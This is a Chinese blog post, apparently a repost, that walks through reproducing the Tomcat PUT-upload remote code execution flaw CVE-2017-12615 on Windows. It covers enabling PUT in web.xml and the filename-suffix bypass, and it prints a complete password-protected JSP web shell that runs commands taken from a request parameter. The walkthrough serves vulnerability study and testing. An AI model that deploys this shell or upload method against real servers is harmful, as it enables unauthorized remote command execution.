[ 中间件漏洞 ] Tomcat 远程代码执行漏洞 (CVE-2017-12615)

0x00.前言:

  当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法,攻击者通过构造的攻击请求向服务器上传包含任意代码的 JSP 文件,可造成任意代码执行。

  受影响版本:Tomcat 7.0.0 – 7.0.79(7.0.81修复不完全)

  漏洞前提:开启PUT上传

0x01.漏洞复现:

  复现版本:Tomcat 7.0.11

1.Tomcat配置

  修改web.xml配置文件开启PUT上传:

  默认配置文件是只读模式,这里将只读改为false,即可允许PUT上传。  


    readonly
    false

  [ 中间件漏洞 ] Tomcat 远程代码执行漏洞 (CVE-2017-12615)_第1张图片

运行网站正常打开:

[ 中间件漏洞 ] Tomcat 远程代码执行漏洞 (CVE-2017-12615)_第2张图片

2.测试漏洞

  开启PUT上传后,利用BurpSuite将GET请求改为PUT请求,并指定文件,这里需要注意指定文件名后需要加入“/”、"%20"或":DATA"字符,默认Tomcat是无法上传jsp和jspx的。

  这里通过构造特殊后缀名,绕过了tomcat检测,让它用DefaultServlet的逻辑去处理请求,从而上传jsp文件。

 

[ 中间件漏洞 ] Tomcat 远程代码执行漏洞 (CVE-2017-12615)_第3张图片

构造的语句:

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>
<%
    if("hack".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("
");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("
"); } %>

 

注意:

  响应头201,上传成功

  响应头为403,可以看看配置文件web.xml中readonly是否写错。

  响应头为204,上传的文件已存在。

漏洞利用:

[ 中间件漏洞 ] Tomcat 远程代码执行漏洞 (CVE-2017-12615)_第4张图片  

参考链接:

jsp一句话木马:https://www.cnblogs.com/swyft/articles/5563732.html

Tomcat 远程代码执行漏洞分析:https://blog.csdn.net/yaofeiNO1/article/details/78459645

转载于:https://www.cnblogs.com/qtisec/p/11175096.html

你可能感兴趣的:([ 中间件漏洞 ] Tomcat 远程代码执行漏洞 (CVE-2017-12615))